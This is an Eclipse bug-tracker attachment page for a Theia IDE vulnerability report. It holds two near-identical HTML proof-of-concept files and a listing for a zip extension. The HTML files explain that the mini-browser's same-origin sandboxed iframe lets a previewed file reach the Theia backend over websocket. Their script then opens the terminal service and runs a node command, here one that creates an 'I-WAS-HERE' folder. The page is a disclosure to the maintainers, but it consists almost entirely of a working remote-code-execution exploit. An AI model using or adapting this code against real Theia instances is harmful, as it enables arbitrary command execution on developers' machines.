View All Attachments for Bug 568018

Some Eclipse Foundation services are deprecated, or will be soon. Please ensure you've read this important communication.

Attachment #284514
An HTML file that does RCE to be previewed using Theia's mini-browser.	text/html	2020-10-19 22:30:33 EDT	11.86 KB	no flags	Details

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf8" />
        <title>Not An Exploit</title>
        <style>
            html {
                background-color: white;
            }
            body {
                margin: auto;
                max-width: 600px;
            }
        </style>
    </head>
    <body>
        <h1>Theia "mini-browser" exploit</h1>
        <p>
            The mini-browser extension in Theia displays html files into an iframe.
            But currently we have the following settings:
        </p>
        <ul>
            <li>The iframe is sandboxed as "allow-same-origin allow-scripts".</li>
            <li>The html file to preview is served via a Theia endpoint from the same origin.</li>
        </ul>
        <p>
            These two things combined mean that when a file is previewed in Theia using
            the mini-browser extension, a malicious html file can connect to the Theia
            backend via websocket and do pretty much anything.
        </p>
        <button onclick="do_exploit(event)">Run exploit</button>
        <p id="exploit-status"></p>
        <script>
            /**
             * Boilerplate code to talk to Theia's backend.
             */
            class TheiaWebSocket {
                /**
                 * Asynchronously create a TheiaWebSocket instance from a regular websocket.
                 *
                 * @param {WebSocket} ws the websocket to wrap.
                 * @returns {TheiaWebSocket}
                 */
                static Create(ws) {
                    return new Promise((resolve, reject) => {
                        ws.addEventListener('close', event => reject(wsCodeToError(event.code)))
                        if (ws.readyState === WebSocket.CONNECTING) {
                            ws.addEventListener('open', () => resolve(new this(ws)), { once: true })
                        } else if (ws.readyState === WebSocket.OPEN) {
                            resolve(new this(ws))
                        } else if (ws.readyState === WebSocket.CLOSED) {
                            reject(new Error('ws is closed.'))
                        } else if (ws.readyState === WebSocket.CLOSING) {
                            // The `close` event will be triggered.
                        }
                    })
                }
                /**
                 * @private
                 * @param {WebSocket} ws
                 */
                constructor(ws) {
                    /** @type {Map<number, { resolve: Function, reject: Function }>} */
                    this._pending_requests = new Map()
                    /** @type {Map<number, { resolve: Function }>} */
                    this._pending_channels = new Map()
                    /** @type {Set<number>} */
                    this._closed_channels = new Set()
                    this._channel_id = 0
                    this._request_id = 0
                    this._ws = ws
                    this._ws.addEventListener('message', event => {
                        console.log('RECV', event.data)
                        // Theia wraps jsonrpc messages into logical channels
                        const multiplexed = JSON.parse(event.data)
                        if (multiplexed.kind === 'ready') {
                            // A channel is ready to handle our messages
                            const pending_channel = this._pending_channels.get(multiplexed.id)
                            if (!pending_channel) {
                                throw new Error('unexpected ready channel:', event.data)
                            } else {
                                pending_channel.resolve(multiplexed.id)
                                this._pending_channels.delete(multiplexed.id)
                            }
                        } else if (multiplexed.kind === 'data') {
                            // A jsonrpc message was sent on a logic channel
                            const jsonrpc = JSON.parse(multiplexed.content)
                            if (typeof jsonrpc.id === 'number') {
                                // A response contains the id used when making the request
                                const pending_request = this._pending_requests.get(jsonrpc.id)
                                if (!pending_request) {
                                    throw new Error('unexpected response:', multiplexed.content)
                                } else if (typeof jsonrpc.error === 'undefined') {
                                    // If there is no error set, it means we have a result
                                    pending_request.resolve(jsonrpc.result)
                                } else {
                                    // The request resolved to an error so we reject the response promise
                                    pending_request.reject(jsonrpc.error)
                                }
                                this._pending_channels.delete(jsonrpc.id)
                            } else {
                                // Not handling notifications
                            }
                        } else if (multiplexed.kind === 'close') {
                            this._closed_channels.add(multiplexed.id)
                        }
                    })
                }
                /**
                 * Send a message through the websocket.
                 *
                 * @param {string} message the raw payload to send on the websocket.
                 */
                send(message) {
                    this._ws.send(message)
                    console.log('SENT', message)
                }
                /**
                 * Open a logical channel on this websocket.
                 *
                 * @param {string} path path to the service to talk to.
                 * @returns {number} the id of the opened channel.
                 */
                async open(path) {
                    const id = this._channel_id++
                    this.send(JSON.stringify({
                        id, path,
                        kind: 'open',
                    }))
                    return new Promise(resolve => {
                        this._pending_channels.set(id, { resolve })
                    })
                }
                /**
                 * Sends a method request to a remote service.
                 *
                 * @param {number} channel the id of the channel to send the request to.
                 * @param {string} method the method to call on the remote service.
                 * @param {any[]} params the method parameters.
                 * @returns {any} the result of the method call.
                 */
                async request(channel, method, ...params) {
                    if (this._closed_channels.has(channel)) {
                        throw new Error(`channel #${channel} is closed.`)
                    }
                    const id = this._request_id++
                    this.send(JSON.stringify({
                        id: channel,
                        kind: 'data',
                        content: JSON.stringify({
                            id, method, params,
                            jsonrpc: '2.0',
                        })
                    }))
                    return new Promise((resolve, reject) => {
                        this._pending_requests.set(id, { resolve, reject })
                    })
                }
            }
            /**
             * Will create a folder named `I-WAS-HERE` in the home of the user running Theia.
             *
             * @returns {void}
             */
            async function exploit() {
                const theiaWs = await TheiaWebSocket.Create(new WebSocket(getTheiaServicesEndpoint()))
                const [app, term] = await Promise.all([
                    theiaWs.open('/services/application'),
                    theiaWs.open('/services/terminal'),
                ])
                const os = await theiaWs.request(app, 'getBackendOS')
                const terminalId = await theiaWs.request(term, 'create', {
                    // Windows wants the `.exe` suffix
                    command: os === 'Windows' ? 'node.exe' : 'node',
                    args: ['-e', "require('fs').mkdirSync(require('os').homedir() + '/I-WAS-HERE/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/k/r/s/t/u/v/w/x/y/z', { recursive: true })"],
                })
                if (terminalId === -1) {
                    throw new Error('The terminal command failed for some reason...')
                }
            }
            /**
             * Inspects the environment this document is loaded in. If opened as "file://..."
             * we will try to connect to a localhost Theia backend on the default port (3000).
             *
             * @returns {string} websocket url to connect to.
             */
            function getTheiaServicesEndpoint() {
                const isFileProtocol = window.location.protocol === 'file:'
                let protocol
                let host
                let path
                // Set protocol
                if (isFileProtocol || window.location.protocol === 'http:') {
                    protocol = 'ws:'
                } else if (window.location.protocol === 'https:') {
                    protocol = 'wss:'
                } else {
                    throw new Error(`Unknown Protocol: "${location.protocol}"`)
                }
                // Set host
                if (isFileProtocol) {
                    host = 'localhost:3000'
                } else {
                    host = window.location.host
                }
                // Set path
                if (isFileProtocol) {
                    path = '/'
                } else try {
                    // Access to `window.top` can throw
                    if (window.self === window.top) {
                        // We are not in an iframe
                        path = window.location.pathname
                    } else {
                        // We are in an iframe
                        path = window.parent.location.pathname
                    }
                } catch {
                    // We are most likely in an iframe
                    path = window.parent.location.pathname
                }
                // Gather URL parts
                const parts = [host]
                if (path !== '/') {
                    parts.push(path)
                }
                return `${protocol}//${parts.join('/')}/services`
            }
            do_exploit.status = document.getElementById('exploit-status')
            do_exploit.running = false
            /** @param {Event} event */
            async function do_exploit(event) {
                if (!do_exploit.running) {
                    do_exploit.running = true
                    event.target.disabled = true
                    do_exploit.status.innerText = 'Running...'
                    const status = await exploit()
                        .then(() => 'Worked!', errorToString)
                    do_exploit.status.innerText = status
                    do_exploit.running = false
                    event.target.disabled = false
                }
            }
            function errorToString(error) {
                if (error instanceof Error) {
                    return error.toString()
                } else {
                    return JSON.stringify(error)
                }
            }
            /**
             * See: https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent
             *
             * @param {number} code
             * @returns {string}
             */
            function wsCodeToError(code) {
                const codes = {
                    1000: 'Closed',
                    1002: 'Protocol Error',
                    1006: 'Network Error',
                }
                return new Error(codes[code] || 'Unknown Error')
            }
        </script>
    </body>
</html>

Attachment #284830
A VS Code Extension that connects to the Theia WebSocket endpoint directly.	application/zip	2020-11-20 13:54:20 EST	3.84 KB	no flags	Details

Attachment cannot be viewed because its MIME type is not text/*, image/*, or application/vnd.mozilla.*. Download the attachment instead.

Attachment #284893
An HTML file that does RCE to be previewed using Theia's mini-browser.	text/html	2020-11-25 15:58:37 EST	12.20 KB	no flags	Details

<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
        <meta charset="utf8">
        <title>Not An Exploit</title>
        <style>
            html {
                background-color: white;
            }
            body {
                margin: auto;
                max-width: 600px;
            }
        </style>
    </head>
    <body>
        <h1>Theia "mini-browser" exploit</h1>
        <p>
            The mini-browser extension in Theia displays html files into an iframe.
            But currently we have the following settings:
        </p>
        <ul>
            <li>The iframe is sandboxed as "allow-same-origin allow-scripts".</li>
            <li>The html file to preview is served via a Theia endpoint from the same origin.</li>
        </ul>
        <p>
            These two things combined mean that when a file is previewed in Theia using
            the mini-browser extension, a malicious html file can connect to the Theia
            backend via websocket and do pretty much anything.
        </p>
        <button onclick="do_exploit(event)">Run exploit</button>
        <p id="exploit-status"></p>
        <script>
            /**
             * Boilerplate code to talk to Theia's backend.
             */
            class TheiaWebSocket {
                /**
                 * Asynchronously create a TheiaWebSocket instance from a regular websocket.
                 *
                 * @param {WebSocket} ws the websocket to wrap.
                 * @returns {TheiaWebSocket}
                 */
                static Create(ws) {
                    return new Promise((resolve, reject) => {
                        ws.addEventListener('close', event => reject(wsCodeToError(event.code)))
                        if (ws.readyState === WebSocket.CONNECTING) {
                            ws.addEventListener('open', () => resolve(new this(ws)), { once: true })
                        } else if (ws.readyState === WebSocket.OPEN) {
                            resolve(new this(ws))
                        } else if (ws.readyState === WebSocket.CLOSED) {
                            reject(new Error('ws is closed.'))
                        } else if (ws.readyState === WebSocket.CLOSING) {
                            // The `close` event will be triggered.
                        }
                    })
                }
                /**
                 * @private
                 * @param {WebSocket} ws
                 */
                constructor(ws) {
                    /** @type {Map<number, { resolve: Function, reject: Function }>} */
                    this._pending_requests = new Map()
                    /** @type {Map<number, { resolve: Function }>} */
                    this._pending_channels = new Map()
                    /** @type {Set<number>} */
                    this._closed_channels = new Set()
                    this._channel_id = 0
                    this._request_id = 0
                    this._ws = ws
                    this._ws.addEventListener('message', event => {
                        console.log('RECV', event.data)
                        // Theia wraps jsonrpc messages into logical channels
                        const multiplexed = JSON.parse(event.data)
                        if (multiplexed.kind === 'ready') {
                            // A channel is ready to handle our messages
                            const pending_channel = this._pending_channels.get(multiplexed.id)
                            if (!pending_channel) {
                                throw new Error('unexpected ready channel:', event.data)
                            } else {
                                pending_channel.resolve(multiplexed.id)
                                this._pending_channels.delete(multiplexed.id)
                            }
                        } else if (multiplexed.kind === 'data') {
                            // A jsonrpc message was sent on a logic channel
                            const jsonrpc = JSON.parse(multiplexed.content)
                            if (typeof jsonrpc.id === 'number') {
                                // A response contains the id used when making the request
                                const pending_request = this._pending_requests.get(jsonrpc.id)
                                if (!pending_request) {
                                    throw new Error('unexpected response:', multiplexed.content)
                                } else if (typeof jsonrpc.error === 'undefined') {
                                    // If there is no error set, it means we have a result
                                    pending_request.resolve(jsonrpc.result)
                                } else {
                                    // The request resolved to an error so we reject the response promise
                                    pending_request.reject(jsonrpc.error)
                                }
                                this._pending_channels.delete(jsonrpc.id)
                            } else {
                                // Not handling notifications
                            }
                        } else if (multiplexed.kind === 'close') {
                            this._closed_channels.add(multiplexed.id)
                        }
                    })
                }
                /**
                 * Send a message through the websocket.
                 *
                 * @param {string} message the raw payload to send on the websocket.
                 */
                send(message) {
                    this._ws.send(message)
                    console.log('SENT', message)
                }
                /**
                 * Open a logical channel on this websocket.
                 *
                 * @param {string} path path to the service to talk to.
                 * @returns {number} the id of the opened channel.
                 */
                async open(path) {
                    const id = this._channel_id++
                    this.send(JSON.stringify({
                        id, path,
                        kind: 'open',
                    }))
                    return new Promise(resolve => {
                        this._pending_channels.set(id, { resolve })
                    })
                }
                /**
                 * Sends a method request to a remote service.
                 *
                 * @param {number} channel the id of the channel to send the request to.
                 * @param {string} method the method to call on the remote service.
                 * @param {any[]} params the method parameters.
                 * @returns {any} the result of the method call.
                 */
                async request(channel, method, ...params) {
                    if (this._closed_channels.has(channel)) {
                        throw new Error(`channel #${channel} is closed.`)
                    }
                    const id = this._request_id++
                    this.send(JSON.stringify({
                        id: channel,
                        kind: 'data',
                        content: JSON.stringify({
                            id, method, params,
                            jsonrpc: '2.0',
                        })
                    }))
                    return new Promise((resolve, reject) => {
                        this._pending_requests.set(id, { resolve, reject })
                    })
                }
            }
            /**
             * Will create a folder named `I-WAS-HERE` in the home of the user running Theia.
             *
             * @returns {void}
             */
            async function exploit() {
                const theiaWs = await TheiaWebSocket.Create(new WebSocket(getTheiaServicesEndpoint()))
                const [app, term] = await Promise.all([
                    theiaWs.open('/services/application'),
                    theiaWs.open('/services/terminal'),
                ])
                const os = await theiaWs.request(app, 'getBackendOS')
                const terminalId = await theiaWs.request(term, 'create', {
                    // Windows wants the `.exe` suffix
                    command: os === 'Windows' ? 'node.exe' : 'node',
                    args: ['-e', "require('fs').mkdirSync(require('os').homedir() + '/I-WAS-HERE/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/k/r/s/t/u/v/w/x/y/z', { recursive: true })"],
                })
                if (terminalId === -1) {
                    throw new Error('The terminal command failed for some reason...')
                }
            }
            /**
             * Inspects the environment this document is loaded in. If opened as "file://..."
             * we will try to connect to a localhost Theia backend on the default port (3000).
             *
             * @returns {string} websocket url to connect to.
             */
            function getTheiaServicesEndpoint() {
                const isFileProtocol = window.location.protocol === 'file:'
                let protocol
                let host
                let path = '/'
                // Set protocol
                if (isFileProtocol || window.location.protocol === 'http:') {
                    protocol = 'ws:'
                } else if (window.location.protocol === 'https:') {
                    protocol = 'wss:'
                } else {
                    throw new Error(`Unknown Protocol: "${location.protocol}"`)
                }
                // Set host
                if (isFileProtocol) {
                    host = 'localhost:3000'
                } else {
                    // Adapt to the new default subdomain pattern for serving mini-browser resources:
                    host = window.location.host.replace(/^.+\.mini-browser\./, '')
                }
                // Set path
                if (!isFileProtocol) try {
                    // Access to `window.top` can throw
                    if (window.self === window.top) {
                        // We are not in an iframe
                        path = window.location.pathname
                    } else {
                        // We are in an iframe
                        path = window.parent.location.pathname
                    }
                } catch (error) {
                    console.error(error)
                }
                // Gather URL parts
                const parts = [host]
                if (path !== '/') {
                    parts.push(path)
                }
                return `${protocol}//${parts.join('/')}/services`
            }
            do_exploit.status = document.getElementById('exploit-status')
            do_exploit.running = false
            /** @param {Event} event */
            async function do_exploit(event) {
                if (!do_exploit.running) {
                    do_exploit.running = true
                    event.target.disabled = true
                    do_exploit.status.innerText = 'Running...'
                    const status = await exploit()
                        .then(() => 'Worked!', errorToString)
                    do_exploit.status.innerText = status
                    do_exploit.running = false
                    event.target.disabled = false
                }
            }
            function errorToString(error) {
                if (error instanceof Error) {
                    return error.toString()
                } else {
                    return JSON.stringify(error)
                }
            }
            /**
             * See: https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent
             *
             * @param {number} code
             * @returns {string}
             */
            function wsCodeToError(code) {
                const codes = {
                    1000: 'Closed',
                    1002: 'Protocol Error',
                    1006: 'Network Error',
                }
                return new Error(codes[code] || 'Unknown Error')
            }
        </script>


</body></html>